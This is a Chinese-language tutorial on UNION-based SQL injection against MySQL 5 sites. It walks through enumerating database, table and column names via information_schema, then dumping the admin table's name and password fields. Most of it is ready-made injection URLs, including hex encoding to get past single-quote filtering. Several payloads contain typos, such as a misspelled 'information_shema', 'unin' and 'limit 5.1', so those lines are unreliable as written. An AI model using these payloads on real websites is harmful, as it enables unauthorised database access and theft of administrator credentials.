今天这篇文章详细说一下mysql5的注入。通常在mysql5.0版本以下只能通过猜解来得到表名和字段名，若是程序员把表名和字段名改的非常偏僻，黑客就很难猜解了。因为渗透基础都是基于黑盒测试的，根本没法得到站点后台程序的表以及字段的结构信息。但是在mysql5中，新增加了一个叫information\_schema的系统数据库，该库封装了mysql数据库的系统信息。同时也存储了其他所有数据库的信息。information\_scema是一个虚拟数据库，并不物理存在，在执行select的时候i，从其他数据库获取相应的信息。  
  
schemata 存储数据库名。、  
关键字段：schema\_name.表示数据库名称。  
  
tabales:存储表名。  
关键字段：table\_schema，表示表所属的数据库名称。  
  
tabale\_name:表示表的名称。  
  
columns:存储字段名。  
  
关键字段：table\_schema 表示表所属的数据库名称。  
  
column\_name：表示字段名。  
  
  
数据库版本判断。一般数据库是4.0就支持union查询。  
  
查版本命令是version()   ,  数据库名是database()   ，数据库用户名是user()  
  
1.查找数据库名  
  
  通过查找数据库的操作，可以迅速得到所有的数据库名。有了这些找数据库名，可以进行跨找数据库查询，执行语句。  
  
比如说一个站，php的有注入漏洞，注入猜解发现有8个字段，爆出2,5，（为了节省时间不上图了）  
  
new.php?id=18 and 1=2 union select 1,schema\_name,3,4,5,6,7,8 from information\_shema.schemata limit n.1表示查看第n个数据库的位置，通过变换该数字可以查询其他数据库名，比如想查第5个数据库名字，执行语句：new.php?id=18 and 1=2 union select 1,schema\_name,3,4,5,6,7,8 from information\_shema.schemata limit 5.1  
  
2.查找表名  
net.php?id=18 and 1=2 unin select 1,table\_name,3,4,5,6,7,8 from information\_schema.tables where table\_schema=库的hex值 limit n,1使用hex编码可绕过程序对单引号的过滤，n表示查询表的位置，该数字变换。比如说第一库名是hake01，把hake01转成hex值是0x68616B653031。  
构造语句：net.php?id=18 and 1=2 union select 1,table\_name,3,4,5,6,7,8 from information\_schema.tables where table\_schema=0x68616B653031 limit 1,1  
  
要查询hake01库，第三个表名，构造语句：net.php?id=18 and 1=2 union select 1,table\_name,3,4,5,6,7,8 from information\_schema.tables where table\_schema=0x68616B653031 limit 3,1  
  
  
3查询字段名  
通过查询字段名操作，可以迅速获取指定表的所有字段名，有了字段名就可以爆出字段中的数据。  
  
执行语句：net.php?id=18 and 1=2 union select 1,column\_name,3,4,5,6,7,8 from information\_schema.columns where table\_name=字段的hex值 limit n,1 表名也需要转换成hex值，n代表字段的位置。比如hake01库中，第一个表是admin.  
相查admin中的字段，admin的hex值是0x61646D696E。  
执行语句：net.php?id=18 and 1=2 union select 1,column\_name,3,4,5,6,7,8 from information\_schema.columns where table\_name=0x61646D696E limit 1,1  
  
net.php?id=18 and 1=2 union select 1,column\_name,3,4,5,6,7,8 from information\_schema.columns where table\_name=0x61646D696E limit 2,1  
  
通过反复查询得到字段名name 和pass.  
  
再次构造语句：net.php?id=18 and 1=2 union select 1,name,3,4,pass,6,78 from hake01.admin  
  
就爆出了字段名。